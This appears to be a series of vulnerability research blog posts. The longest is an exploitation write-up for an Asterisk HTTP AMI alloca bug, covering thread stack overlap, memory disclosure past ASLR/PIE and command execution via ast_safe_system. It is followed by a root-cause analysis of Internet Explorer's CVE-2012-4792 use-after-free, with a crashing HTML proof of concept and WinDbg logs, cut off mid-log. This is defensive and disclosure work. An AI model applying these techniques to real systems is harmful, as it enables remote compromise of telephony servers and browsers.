  • Due to the requirements our memory replacement has (size 0xC8, some specific values at certain offsets) we’re almost certainly stuck with a ‘fixed’ address as the memory address we can INC. Feel free to add a heapspray if you need.
  • We will only trigger the ‘crash’ once and thus the initial exploit primitive of INC[memory] will be used for both a memory disclosure followed by process control.

To be continued….

DoS? Then Who Was Phone?

Introduction

This post presents exploitation notes on a vulnerability we discovered in Asterisk, an open source telephony solution produced by Digium. We reported this bug to Digium on November 27th, 2012, and provided it to customers of the Exodus Intelligence Feed as EIP-2012-0008. Digium released the advisory AST-2012-014 for this vulnerability on January 2nd, 2013, which was picked up shortly after by some of the aggregator sites and incorrectly categorized as a denial-of-service; however, this bug is certainly exploitable. As we found it fun to analyze, and since discussions about server-side memory bugs are a little sparse now-a-days, we thought it would be cool to share for others who might also find it interesting.

Vulnerability

The vulnerability resides in the HTTP Asterisk Management Interface (AMI) service, and is the result of an alloca being used to “allocate” memory with a remotely-supplied, untrusted size value. The vulnerability is present in the Asterisk source code file main/http.c, specifically in the function ast_http_get_post_vars, which as the name would suggest is used to parse HTTP POST variable data. A snip of the pertinent vulnerable code in this function is shown below:

struct ast_variable *ast_http_get_post_vars(
  struct ast_tcptls_session_instance *ser, struct ast_variable *headers)
{
  int content_length = 0;
  struct ast_variable *v, *post_vars=NULL, *prev = NULL;
  char *buf, *var, *val;

  for (v = headers; v; v = v->next) {
    if (!strcasecmp(v->name, "Content-Type")) {
      if (strcasecmp(v->value, "application/x-www-form-urlencoded")) {
        return NULL;
      }
      break;
    }
  }

  for (v = headers; v; v = v->next) {
    if (!strcasecmp(v->name, "Content-Length")) {
      content_length = atoi(v->value) + 1;
      break;
    }
  }

  if (!content_length) {
    return NULL;
  }

  if (!(buf = alloca(content_length))) {
    return NULL;
  }
  if (!fgets(buf, content_length, ser->f)) {
    return NULL;
  }

The code shows the length value being converted from the Content-Length string using atoi, then incremented by one and stored in the content_length variable. Memory is obtained by alloca for the expected content length, and pointed to by *buf. Finally, fgets is called to read the expected amount of content data into this buffer. I found it interesting that the code looks as though it may have been written with memory management issues in mind, as the check to ensure content_length is not zero would catch an integer overflow caused by adding one to the value.

Below is a snip of disassembled code for the vulnerable function as compiled in the Asterisk package shipped with Ubuntu. This snip shows the size value being set and used to subtract the stack pointer (ESP) to “allocate” stack memory:

<ast_http_get_post_vars+187>:   call   <strtol@plt>
<ast_http_get_post_vars+192>:   mov    edx,eax
<ast_http_get_post_vars+194>:   add    edx,0x1
<ast_http_get_post_vars+197>:   je     <ast_http_get_post_vars+408>
<ast_http_get_post_vars+203>:   mov    ecx,DWORD PTR [ebp-0x30]
<ast_http_get_post_vars+206>:   add    eax,0x1f
<ast_http_get_post_vars+209>:   and    eax,0xfffffff0
<ast_http_get_post_vars+212>:   sub    esp,eax <----- LOL
<ast_http_get_post_vars+214>:   lea    esi,[esp+0x1b]

As shown, the alloca is compiled into a simple set of instructions to ADD and AND-off the size to be allocated from the stack. It then subtracts the revised size from the stack pointer, and stores an address derived from this into the ESI register for further use.

Exploitation Obstacles

Since most compilers implement alloca as a fairly direct subtraction of the stack pointer, the exploitation of alloca is often as simple as providing a size value large enough to wrap the stack pointer around to a desirable location higher on the stack. Subsequent use of the pointer to store remotely supplied data would then result in stack memory corruption, and allow for vanilla exploitation techniques to gain control of program execution flow.

However, here the vulnerable code uses the function fgets to read network data into the obtained memory space. This complicates the situation for exploitation as the libc implementation of fgets performs a check on its length argument to ensure that it is not beyond the signed integer boundary of 0x7FFFFFFF. If this check fails, fgets does not read data and returns an error. The code snip below shows the check performed inside of fgets as implemented in libc.6.so:

<fgets+0>:     sub    esp,0x4c
<fgets+3>:     mov    DWORD PTR [esp+0x48],ebp
<fgets+7>:     mov    ebp,DWORD PTR [esp+0x54]
<fgets+11>:    mov    DWORD PTR [esp+0x3c],ebx
<fgets+15>:    call   <mov_esp_ebx>
<fgets+20>:    add    ebx,0x14051c
<fgets+26>:    mov    DWORD PTR [esp+0x40],esi
<fgets+30>:    mov    esi,DWORD PTR [esp+0x58]
<fgets+34>:    test   ebp,ebp
<fgets+36>:    mov    DWORD PTR [esp+0x44],edi
<fgets+36>:    mov    DWORD PTR [esp+0x44],edi
<fgets+40>:    jle    <fgets+336>
...
<fgets+336>:   mov    DWORD PTR [esp+0x50],0x0
<fgets+344>:   jmp    <fgets+256>
...
<fgets+256>:   mov    eax,DWORD PTR [esp+0x50]
<fgets+260>:   mov    ebx,DWORD PTR [esp+0x3c]
<fgets+264>:   mov    esi,DWORD PTR [esp+0x40]
<fgets+268>:   mov    edi,DWORD PTR [esp+0x44]
<fgets+272>:   mov    ebp,DWORD PTR [esp+0x48]
<fgets+276>:   add    esp,0x4c
<fgets+279>:   ret    

The EBP register, containing the length argument, is checked to be a positive signed value using the TEST and JLE instructions at <fgets+34> and <fgets+40>. If the check fails, the code jumps to return an error, making fgets unusable for exploiting a wrapped stack pointer to overwrite memory with data read from the network. While stack corruption by this means is still possible through the pushing and moving of data to the stack by other compiled code operations, the lack of control and limited set of operations make this approach undesirable.

At this point some might categorize this vulnerability as purely theoretical or possibly even unexploitable. As I hope many readers would agree, a challenge of this nature is always inviting. The Exodus team loves goading and trolling one another in these scenarios, usually with something along the lines of “Yeah, it is probably too tough for you to exploit…” or “you should probably just give up.” The recipient of this pep talk usually proceeds to cry and reevaluate the code until an idea hits them or they decide to resign to a life of PCI compliance auditing. Challenge accepted.

EIP Control

After spending some time analyzing the problem and hating computers, I found a way to exploit this vulnerability. The HTTP listener for the Asterisk Management Interface handles every new connection by creating a new thread to execute a designated worker function to process the request. The code to setup and complete this task is spread out across multiple functions and macros and is a little messy, so we’ll try to keep details to a minimum. The HTTP AMI is started initially by a call chain of functions starting with ast_http_init, which calls __ast_http_load, which then calls ast_tcptls_server_start. The function ast_tcptls_server_start performs standard TCP socket setup operations, and is defined as:

void ast_tcptls_server_start(struct ast_tcptls_session_args *desc)

Despite the name, ast_tcptls_server_start is used for both TLS and non-TLS service setup. The single argument taken by this function is a structure describing aspects of the server to be started. From __ast_http_load, the call looks like:

ast_tcptls_server_start(&http_desc);

The structure structure http_desc is defined in main/http.c as:

static struct ast_tcptls_session_args http_desc = {
  .accept_fd = -1,
  .master = AST_PTHREADT_NULL,
  .tls_cfg = NULL,
  .poll_timeout = -1,
  .name = "http server",
  .accept_fn = ast_tcptls_server_root,
  .worker_fn = httpd_helper_thread,
};

The .accept_fn is a function pointer for a function to accept the connection, and the worker_fn is a pointer to the worker function responsible for processing the request once a new thread is created. After more setup code, a new thread is created to accept socket connections by calling the function ast_tcptls_server_root. For each TCP connection accepted on the listening HTTP port (default 8088), ast_tcptls_server_root calls the following thread creation wrapper to create a new thread and eventually call the worker function:

...
if (ast_pthread_create_detached_background(&launched, NULL, handle_tcptls_connection, tcptls_session)) {
  ast_log(LOG_WARNING, "Unable to launch helper thread: %s\n", strerror(errno));
   ast_tcptls_close_session_file(tcptls_session);
   ao2_ref(tcptls_session, -1);
   }
...

The function ast_pthread_create_detached_background is a macro wrapper for the function ast_pthread_create_stack. The macro definition looks roughly like:

ast_pthread_create_detached_stack(a, b, c, d, AST_BACKGROUND_STACKSIZE, ...)

The important thing to note here is the argument AST_BACKGROUND_STACKSIZE. This is used by the function to set the new thread's stack size attribute before starting the thread:

pthread_attr_setstacksize(attr, stacksize ? stacksize : AST_STACKSIZE)
...
return pthread_create(thread, attr, start_routine, data);

For builds without low memory restrictions defined, the AST_BACKGROUND_STACKSIZE and the AST_STACKSIZE macros are defined as:

#define AST_BACKGROUND_STACKSIZE AST_STACKSIZE
#define AST_STACKSIZE (((sizeof(void *) * 8 * 8) - 16) * 1024) /* becomes 0x3C000 */

The use of AST_STACKSIZE, or 0x3C000, to set the size of the stack for each new HTTP thread is significant, as it means the stack of the newly created thread will begin at 0x3C000 below the top of the previous thread's stack. In turn, if a value of this size or greater is used for alloca pointer subtraction, the resulting stack pointer will overlap with the stack memory of a newer thread. By carefully synchronizing the state of the threads involved so they do not collide their shared use of stack memory, it is possible to use this behavior to overwrite the contents of one thread's stack area with network data read by another thread. To visualize this, and because I love drawing stack diagrams, I present the following bad art:

By offsetting from the higher stack by 0x3C000, the stack pointer will be at the equivalent location in the lower stack

Synchronizing the two threads such that they do not collide and clobber each other's critical stack contents is as simple as not sending data when a given thread is expecting it. While one thread is waiting for data in a blocking read operation, the other thread may be using the stack. Using the HTTP POST method (as is required to trigger the vulnerability) allows for two separate network read operations per thread: one for the initial read of HTTP headers, and a second for reading the HTTP Content-Data. Having two individual network read operations per thread provides enough blocking opportunity to align the augmented stack pointer of the first thread to a desirable location used by the second thread. Better yet, this provides an opportunity to align the pointer of the first thread to a location that is not yet used by the second thread, but will be used once the second thread completes its initial read and resumes execution. The following diagram steps attempt to illustrate this process, ignoring trivial details and using round numbers for simplicity.

1. Two socket connections to the HTTP AMI service are established, causing Asterisk to create two threads to handle the connections. Both threads are expecting HTTP headers and so they are both blocking on a read operation. To depict the state of these threads:

two threads created, with their stacks offset by 0x3C000

2. Thread1 is sent HTTP headers with an HTTP Content-Length string equivalent to 0x3C900. Once headers are received, Thread1's initial read operation finishes. It performs the alloca, subtracting its stack pointer by 0x3C900, which places its pointer for *buf at 0x900 bytes down from the top of Thread2's stack:

Thread1 stack pointer now overlaps with the stack area allocated for thread2

3. Thread1 is then sent approximately 0x700 bytes of the 0x3C900 it is expecting. This advances the *buf pointer index used by fgets up the stack, closer to Thread2's current stack pointer. Thread1 continues waiting as it has not yet received the full amount of data expected (0x3C900).

The location into *buf is advanced by 0x700, moving it up the stack

4. Thread2, still waiting on its initial network read, is sent HTTP POST headers with a Content-Length string equivalent to approximately 0x200, which it uses for its own alloca, subtracting from its stack pointer. Coordinating this length carefully places it precisely where the *buf pointer in Thread1 fgets currently points. Thread2 then calls fgets to receive its HTTP Content-Data, causing it to block while waiting to read in data.

The stack frame for the call performed by thread2 sites directly next to the current *buf index of thread1

5. Thread1 is sent 4 more bytes of the data it is waiting to receive, which is stored starting at its current *buf index in fgets, and overwrites where Thread2's stored return address is for fgets. A return from fgets can then be triggered by sending the remaining data expected, or a newline character, or also by simply closing the connection. Once Thread2 returns, EIP is restored from the overwritten return address value and execution flow is controlled.

Clockwork

Protection Mechanisms

Precisely overwriting only desired stack contents leaves stack canaries intact so that they do not interfere with exploitation. To avoid non-executable memory protections, typical return-oriented techniques may be employed to reuse existing executable memory once execution flow is controlled. This leaves Address Space Layout Randomization (ASLR), and more specifically, Asterisk builds compiled as Position-Independent-Executables (PIE) as the only remaining obstacle to overcome, as fixed return locations cannot be used in this case.

While the default Makefile generated to compile Asterisk from source does not include flags for PIE, popular Linux distributions may package their own Asterisk builds compiled with PIE for extra security, such as with Ubuntu (props to @kees_cook for keeping us on our toes with this). ASLR via PIE significantly frustrates exploitation. Since Ubuntu is a popular distribution, and having set the bar for difficulty in this case, the Ubuntu Asterisk build is the target we challenged ourselves with.

Who Was Phone

I will save you from babble about entropy and efforts made to try and guess addresses in the presence of ASLR. Instead we will discuss how this vulnerability can be reliably exploited for memory disclosure, and used to determine the location of Asterisk code memory to redirect execution to.

The function generic_http_callback in main/manager.c is the URL handling function executed when triggering the vulnerability, and is defined as:

static int generic_http_callback(struct ast_tcptls_session_instance *ser,
             enum ast_http_method method,
             enum output_format format,
             struct sockaddr_in *remote_address, const char *uri,
             struct ast_variable *get_params,
             struct ast_variable *headers)
{

Above you can see the output_format argument format is an enumeration value for one of the possible formats used for the reply. Its expected possible values are 0, 1, or 2 for "plain", "html", "xml" respectively. This value is used to retrieve a pointer from a global array when constructing a response in generic_http_callback:

/* ... */
  ast_str_append(&http_header, 0,
    "Content-type: text/%s\r\n"
    "Cache-Control: no-cache;\r\n"
    "Set-Cookie: mansession_id=\"%08x\"; Version=1; Max-Age=%d\r\n"
    "Pragma: SuppressEvents\r\n",
    contenttype[format],
    session->managerid, httptimeout);
/* ... */
  ast_http_send(ser, method, 200, NULL, http_header, out, 0, 0);
/* ... */

The contenttype array contains the pointers to the strings used for the HTTP response, and thus the pointer retrieved from this look-up directly influences data sent back to the HTTP user. By conducting the same style of stack pointer manipulation previously described, it is possible to align a thread's *buf pointer to overwrite the stack memory where format is stored, so it indexes beyond the contenttype array into other memory. With the help of some handy debugger scripting, I was able to find a pointer->pointer->code from a relative offset of contenttype. My code to do this with VDB is shown below. (Comments document the code a little bit, but a more extensive explanation of VDB is beyond the scope of this post):

for m in trace.getMemoryMaps():

  # check memory map name
  if m[3].lower() == "/usr/sbin/asterisk":

    #  check for flags Read & Write for data segment
    if m[2] == 6:
      addr = m[0]
      memlen = m[1]
      memory = trace.readMemory(addr, memlen)
  
    # check for Execute flag
    elif m[2] == 5:
      # save beginning and ending of executable memory
      code = m[0]
      codestop = code+m[1]

# from each offset in the memory
for offset in range(memlen-4):

  # read for the size of a pointer
  ptr = struct.unpack("<I", memory[offset:offset+4])[0]

  # check if it is a pointer
  if ispoi(ptr):
    # read the value at the pointer
    ptr = struct.unpack("<I", trace.readMemory(ptr, 4))[0]

    # is that value in the asterisk code?
    if ptr > code and ptr < codestop:
      print "[*] Found 0x%08x -> 0x%08x" % (addr+offset, ptr)

The script simply searches the memory maps of the attached process for the Asterisk data and code memory regions. Once they are found, the value at every possible offset in the data map is checked to be a valid memory address. Passing this check, the value at the memory it points to is then also checked to see if it is a pointer to code memory and then prints out valid matches. This script identified 8 locations of usable pointers when ran against Ubuntu's packaged Asterisk binary.

By overwriting the saved format variable with an index to offset to one of these pointer sequences, it is possible to manufacture a remote memory disclosure and determine an address of Asterisk code memory. Putting this all together allows for successful remote arbitrary code execution despite ASLR/PIE/NX/STACK COOKIES/ALL_OF_THE_THINGS compiled in with the Ubuntu build. To add to an already silly amount of convenience with the conditions surrounding this bug, when gaining EIP control through the method described, the next value on the stack above the overwritten return address is a pointer to the buffer passed to fgets in the second thread. This buffer is populated with the second thread's received HTTP Content-Data (remotely-controlled data). Using the memory disclosure to calculate the address of a call to the function ast_safe_system, which takes a single string pointer argument to execute as a command line, it is simple to exploit the return in the second thread to execute arbitrary commands from the Asterisk process -- which often runs as root. Using this to spawn a remote shell with Ubuntu's default dash shell is a little obnoxious, but possible, and an exercise left up to the reader.

Hope you enjoyed the post!
--
Brandon Edwards
@drraid

Bypassing Microsoft’s Internet Explorer 0day “Fix It” Patch for CVE-2012-4792

Update: After we reported our bypasses to Microsoft, they released the MS13-008 bulletin to patch CVE-2012-4792 officially.

After posting our analysis of the current 0day in Internet Explorer which was used in a “watering hole” style attack hosted on the Council for Foreign Relations website, we decided to take a look at the Fix It patch made available by Microsoft to address the vulnerability. After less than a day of reverse engineering, we found that we were able to bypass the fix and compromise a fully-patched system with a variation of the exploit we developed earlier this week.

We have included details on the bypass to customers of our intelligence feeds and will notify Microsoft of the issue. In practice with coordinated vulnerability disclosure, we intend to update this post with details when Microsoft has addressed the problematic patch.

For more information, keep an eye on this post or contact us to inquire about our offerings.

Happy New Year Analysis of CVE-2012-4792

A new year has arrived and, although a little late, the time has come for me to unpack the present that Santa gave to the Council on Foreign Relations this Christmas. Quite a few blogs have already been written in this issue that has gotten CVE-2012-4792, including one by Microsoft, but that didnt stop me from doing my own analysis. I tried to document all the steps I took and write down how I came to my conclusions so readers can follow and maybe repeat this process. All my work has been done on IE8 running on Windows XP, but most of it also applies to Window 7 with the exception of ASLR issues. The mshtml version I worked with is 8.0.6001.19393

Analysis

The first thing I did was grab the Metasploit version of the exploit and remove all heapspay and other items to get a clean poc. This resulted in the following html data.

<!doctype html>
<html>
<head>
	<script>
	function helloWorld() {
		var e0 = null;
		var e1 = null;
		var e2 = null;

		try {
			e0 = document.getElementById("a");
			e1 = document.getElementById("b");
			e2 = document.createElement("q");
			e1.applyElement(e2);
			e1.appendChild(document.createElement('button'));
			e1.applyElement(e0);
			e2.outerText = "";
			e2.appendChild(document.createElement('body'));
		} catch(e) { }
		CollectGarbage();
		var eip = window;
		var data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
		eip.location = unescape("AA" + data);
	}

	</script>
</head>
<body onload="eval(helloWorld())">
	<form id="a">
	</form>
	<dfn id="b">
	</dfn>
</body>
</html>

The next step was to turn on pageheap and user stack trace for internet explorer and just run the poc and see what happened.

Analysis-1

This resulted in the following windbg log:

(a0.3c0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=05682fa8 ebx=04db8f28 ecx=00000052 edx=00000000 esi=00000000 edi=05682fa8
eip=3d08625c esp=0336d7a0 ebp=0336d80c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
mshtml!CMarkup::OnLoadStatusDone+0x4ef:
3d08625c 8b07            mov     eax,dword ptr [edi]  ds:0023:05682fa8=????????
1:022> !heap -p -a edi
    address 05682fa8 found in
    _DPH_HEAP_ROOT @ 151000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    5640eb0:          5682000             2000
    7c91a1ba ntdll!RtlFreeHeap+0x000000f9
    3d2b4b10 mshtml!CButton::`vector deleting destructor'+0x0000002f
    3cfa0ad9 mshtml!CBase::SubRelease+0x00000022
    3cf7e76d mshtml!CElement::PrivateRelease+0x00000029
    3cf7a976 mshtml!PlainRelease+0x00000025
    3cf9709c mshtml!PlainTrackerRelease+0x00000014
    3d7b5194 jscript!VAR::Clear+0x0000005c
    3d7b55b9 jscript!GcContext::Reclaim+0x000000ab
    3d7b4d08 jscript!GcContext::CollectCore+0x00000113
    3d82471d jscript!JsCollectGarbage+0x0000001d
    3d7c4aac jscript!NameTbl::InvokeInternal+0x00000137
    3d7c28c5 jscript!VAR::InvokeByDispID+0x0000017c
    3d7c4f93 jscript!CScriptRuntime::Run+0x00002abe
    3d7c13ab jscript!ScrFncObj::CallWithFrameOnStack+0x000000ff
    3d7c12e5 jscript!ScrFncObj::Call+0x0000008f
    3d7c1113 jscript!CSession::Execute+0x00000175

 
1:022> kv
ChildEBP RetAddr  Args to Child              
0336d80c 3cee3e45 04f38fc0 04df06bc 04df06a8 mshtml!CMarkup::OnLoadStatusDone+0x4ef
0336d82c 3cee3e21 00000004 0336dcb4 00000001 mshtml!CMarkup::OnLoadStatus+0x47
0336dc78 3cf50aef 04f3af48 00000000 00000000 mshtml!CProgSink::DoUpdate+0x52f
0336dc8c 3cf8a7e9 04f3af48 04f3af48 04d9cd58 mshtml!CProgSink::OnMethodCall+0x12
0336dcc0 3cf75488 0336dd48 3cf753da 00000000 mshtml!GlobalWndOnMethodCall+0xfb
0336dce0 7e418734 0007025e 00000009 00000000 mshtml!GlobalWndProc+0x183
0336dd0c 7e418816 3cf753da 0007025e 00008002 USER32!InternalCallWinProc+0x28
0336dd74 7e4189cd 00000000 3cf753da 0007025e USER32!UserCallWinProcCheckWow+0x150 (FPO: [Non-Fpo])
0336ddd4 7e418a10 0336de08 00000000 0336feec USER32!DispatchMessageWorker+0x306 (FPO: [Non-Fpo])
0336dde4 3e2ec1d5 0336de08 00000000 01f9cf58 USER32!DispatchMessageW+0xf (FPO: [Non-Fpo])
0336feec 3e2932ee 030ecfe0 01000002 03070ff0 IEFRAME!CTabWindow::_TabWindowThreadProc+0x54c (FPO: [Non-Fpo])
0336ffa4 3e136f69 01f9cf58 0015476c 0336ffec IEFRAME!LCIETab_ThreadProc+0x2c1 (FPO: [Non-Fpo])
0336ffb4 7c80b729 03070ff0 01000002 0015476c iertutil!CIsoScope::RegisterThread+0xab (FPO: [Non-Fpo])
0336ffec 00000000 3e136f5b 03070ff0 00000000 kernel32!BaseThreadStart+0x37 (FPO: [Non-Fpo])


Just from this initial run we can already draw some conclusions. The freed object was a CButton object, as can be deducted from the stack trace of the freed memory “mshtml!CButton::`vector deleting destructor’”. And the reuse of the freed memory seem to occur when the onload handler is completely finished: mshtml!CMarkup::OnLoadStatusDone+0x4ef.

When we look back at the HTML code some of it makes sense

e1.appendChild(document.createElement('button'));


This is most likely the code that created the object that is freed later on. Let see if we can find out at what point the object is being freed and when it is being reused. For that we change the javascript to include some log messages that we can use to determine when things are happening. We will also add 2 breakpoints the keep track of the creation and deletion of CButton objects. Creating a CButton object will go through “CButton::CreateElement“.

Analysis-2

If we set a breakpoint just after the call to HeapAlloc we know the address of the CButton that has been created. We already know the function responsible for deleting a CButton object and we will set a breakpoint there as well.

Analysis-3

By adding javascript log messages between all the call we can easily keep track of the progress of the poc while it runs.

<!doctype html>
<html>
<head>
	<script>
	function helloWorld() {
                var e0 = null;
		var e1 = null;
		var e2 = null;
		try {
			Math.atan2(0xbadc0de, "before get element a")
			e0 = document.getElementById("a");
			Math.atan2(0xbadc0de, "before get element b")
			e1 = document.getElementById("b");
			Math.atan2(0xbadc0de, "before create element q")
			e2 = document.createElement("q");
			Math.atan2(0xbadc0de, "before apply element e1(b) -> e2(q)")
			e1.applyElement(e2);
			Math.atan2(0xbadc0de, "before appendChild create element button")
			e1.appendChild(document.createElement('button'));
			Math.atan2(0xbadc0de, "before applyElement e1 -> e0")
			e1.applyElement(e0);
			Math.atan2(0xbadc0de, "before e2 outertext")
			e2.outerText = "";
			Math.atan2(0xbadc0de, "before e2 appendChild createElement body")
			e2.appendChild(document.createElement('body'));
			Math.atan2(0xbadc0de, "All done inside try loop")
		} catch(e) { }
		Math.atan2(0xbadc0de, "collecting garbage")
		CollectGarbage();
		Math.atan2(0xbadc0de, "Done collecting garbage")

	}

	</script>
</head>
<body onload="eval(helloWorld())">
	<form id="a">
	</form>
	<dfn id="b">
	</dfn>
</body>
</html>

We now run the poc again.

0:000> sxe ld:jscript
0:000> g
ModLoad: 3d7a0000 3d854000   C:\WINDOWS\system32\jscript.dll
eax=c0c0c0c0 ebx=00000000 ecx=00000086 edx=0000021a esi=00000000 edi=00000000
eip=7c90e514 esp=0336c1a8 ebp=0336c29c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!KiFastSystemCallRet:
7c90e514 c3              ret
1:025> bp jscript!JsAtan2 ".printf \"%mu\", poi(poi(poi(esp+14)+8)+8);.echo;g"
1:025> bp !mshtml + 0x414c27 ".printf \"Created CButton at %p\", eax;.echo;g"
1:025> bp !mshtml + 0x414ae1 ".printf \"Deleting CButton at %p\", eax;.echo;g"
1:025> bl
 0 e 3d7d8f09     0001 (0001)  1:**** jscript!JsAtan2 ".printf \"%mu\", poi(poi(poi(esp+14)+8)+8);.echo;g"
 1 e 3d2b4c27     0001 (0001)  1:**** mshtml!CButton::CreateElement+0x16 ".printf \"Created CButton at %p\", eax;.echo;g"
 2 e 3d2b4ae1     0001 (0001)  1:**** mshtml!CButton::`vector deleting destructor' ".printf \"Deleting CButton at %p\", eax;.echo;g"
1:025> g
before get element a
before get element b
before create element q
before apply element e1(b) -> e2(q)
before appendChild create element button
Created CButton at 05312fa8
before applyElement e1 -> e0
before e2 outertext
before e2 appendChild createElement body
All done inside try loop
collecting garbage
Deleting CButton at 3cf70d10
Done collecting garbage
(870.bcc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=05312fa8 ebx=04dcef28 ecx=00000052 edx=00000000 esi=00000000 edi=05312fa8
eip=3d08625c esp=0336d7a0 ebp=0336d80c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
mshtml!CMarkup::OnLoadStatusDone+0x4ef:
3d08625c 8b07            mov     eax,dword ptr [edi]  ds:0023:05312fa8=????????

We break when jscript.dll is loaded (sxe ld:jscript) and then set the breakpoints to print out the log messages and CButton creation and deletions. The CButton object is deleted during the call to CollectGarbage but is not reused until after that call is finished. So we can easily take control over the freed objects memory by creating some data of the right size, but more about that later.
The next step is trying to figure out why this use-after-free is actually happening. Microsoft already gave us some hints on the root cause of the issue with their blog post.

Lets go back to the crash and see where edi (pointing to the freed memory) comes from.

Analysis-4

Apparently the CElement::FindDefaultElem function returns the CButton element after it already has been freed. This is the function that Microsoft patched out with their Fix it Shim so we are on the right track. This function is called a few times before the process crashes so to make our life easier we wont break on this function but rather on the call to this function in the CMarkup::OnLoadStatusDone function. As a side note: it is also clear that it is realy easy to get EIP control through this freed object since we straight up grab the vftable from the freed object (mov eax, [edi]) and then call a function (call dword ptr [eax+0DCh]) from the vftable. Anyway, here is the windbg log with breakpoints at CButton create and delete so we know what the address of the CButton object was and a breakpoint in the CMarkup::OnLoadStatusDone function before the call to CElement::FindDefaultElem.

0:000> sxe ld:mshtml
0:000> g
ModLoad: 3cea0000 3d45e000   C:\WINDOWS\system32\mshtml.dll
1:025> bp !mshtml + 0x414c27 ".printf \"Created CButton at %p\", eax;.echo;g"
1:025> bp !mshtml + 0x414ae1 ".printf \"Deleting CButton at %p\", ecx;.echo;g"
1:025> bp !mshtml + 0x44224
1:025> bl
 0 e 3d2b4c27     0001 (0001)  1:**** mshtml!CButton::CreateElement+0x16 ".printf \"Created CButton at %p\", eax;.echo;g"
 1 e 3d2b4ae1     0001 (0001)  1:**** mshtml!CButton::`vector deleting destructor' ".printf \"Deleting CButton at %p\", ecx;.echo;g"
 2 e 3cee4224     0001 (0001)  1:**** mshtml!CMarkup::OnLoadStatusDone+0x4dc
1:025> g
Created CButton at 055eefa8
Deleting CButton at 055eefa8
Breakpoint 2 hit
3cee4224 e80bc30100      call    mshtml!CElement::FindDefaultElem (3cf00534)
1:025> t

<snip>

3cf00585 56              push    esi
3cf00586 8bc3            mov     eax,ebx
3cf00588 e84aa20400      call    mshtml!CElement::GetParentForm (3cf4a7d7)
1:025> 
eax=00000000 ebx=052dafd0 ecx=00000052 edx=00000000 esi=00000000 edi=04c1a6a8
eip=3cf0058d esp=0336d780 ebp=0336d78c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CElement::FindDefaultElem+0x51:
3cf0058d 8bf0            mov     esi,eax
3cf0058f 3bf2            cmp     esi,edx
3cf00591 0f857e4d1a00    jne     mshtml!CElement::FindDefaultElem+0x57 (3d0a5315) [br=0]
1:025> 
3cf00597 395510          cmp     dword ptr [ebp+10h],edx ss:0023:0336d79c=00000000
3cf0059a 0f8569a71f00    jne     mshtml!CElement::FindDefaultElem+0x79 (3d0fad09) [br=0]
1:025> 
eax=00000000 ebx=052dafd0 ecx=00000052 edx=00000000 esi=00000000 edi=04c1a6a8
eip=3cf005a0 esp=0336d780 ebp=0336d78c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CElement::FindDefaultElem+0x96:
3cf005a0 8b87a8010000    mov     eax,dword ptr [edi+1A8h] ds:0023:04c1a850=055eefa8

1:025> dc 04c1a6a8
04c1a6a8  3cfa4f78 00000014 000000b8 00000000  xO.<............
04c1a6b8  00000000 3cf46c50 04c1a6a8 021e1b8c  ....Pl. dds 04c1a6a8 L1
04c1a6a8  3cfa4f78 mshtml!CDoc::`vftable'
1:025> !heap -p -a 04c1a6a8
    address 04c1a6a8 found in
    _DPH_HEAP_ROOT @ 151000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 44cad98:          4c1a6a8              954 -          4c1a000             2000
          mshtml!CDoc::`vftable'
    7c919c0c ntdll!RtlAllocateHeap+0x00000e64
    3ceb29f0 mshtml!CDoc::operator new+0x00000013
    3cebd2e8 mshtml!CBaseCF::CreateInstance+0x0000007b
    3e284da3 IEFRAME!CBaseBrowser2::_OnCoCreateDocument+0x0000005f
    3e284d44 IEFRAME!CBaseBrowser2::_ExecExplorer+0x00000073
    3e2eca2e IEFRAME!CBaseBrowser2::Exec+0x0000012d
    3e2ecec8 IEFRAME!CShellBrowser2::_Exec_CCommonBrowser+0x00000080
    3e2ecef7 IEFRAME!CShellBrowser2::Exec+0x00000626
    3e284b53 IEFRAME!CDocObjectHost::_CoCreateHTMLDocument+0x0000004e
    3e284ae7 IEFRAME!CDocObjectHost::_CreatePendingDocObject+0x0000002c
    3e28320a IEFRAME!CDocObjectHost::CDOHBindStatusCallback::_ProcessCLASSIDBindStatus+0x000000c5
    3e283d17 IEFRAME!CDocObjectHost::CDOHBindStatusCallback::_ProcessSecurityBindStatus+0x000000b2
    3e282d1d IEFRAME!CDocObjectHost::CDOHBindStatusCallback::OnProgress+0x000000a5
    781362f7 urlmon!CBSCHolder::OnProgress+0x0000003c
    78136247 urlmon!CBinding::CallOnProgress+0x00000030
    7816180b urlmon!CBinding::InstantiateObject+0x000000b7

1:025> p
3cf005a6 5e              pop     esi
3cf005a7 5f              pop     edi
3cf005a8 5b              pop     ebx
3cf005a9 5d              pop     ebp
3cf005aa c20c00          ret     0Ch

The log has been edited to make it a little bit more readable, but what we gain from this is that our CButton object is still referenced in a CDoc element. The next step is to run the poc again (yes, we’ll be doing this a lot) and see why and when the reference is planted there. For this we will break on the mshtml!CDoc::operator new function and then set a memory breakpoint on CDoc Object + 0x1A8 to see which functions write to this location.


Microsoft (R) Windows Debugger Version 6.12.0002.633 X86
Copyright (c) Microsoft Corporation. All rights reserved.

CommandLine: "c:\Program Files\Internet Explorer\iexplore.exe" http://127.0.0.1/crash.html
Symbol search path is: srv*c:\mss*http://msdl.microsoft.com/download/symbols
Executable search path is: 
ModLoad: 00400000 0049c000   iexplore.exe
ModLoad: 7c900000 7c9b2000   ntdll.dll
ModLoad: 7c800000 7c8f6000   C:\WINDOWS\system32\kernel32.dll
ModLoad: 77dd0000 77e6b000   C:\WINDOWS\system32\ADVAPI32.dll
ModLoad: 77e70000 77f03000   C:\WINDOWS\system32\RPCRT4.dll
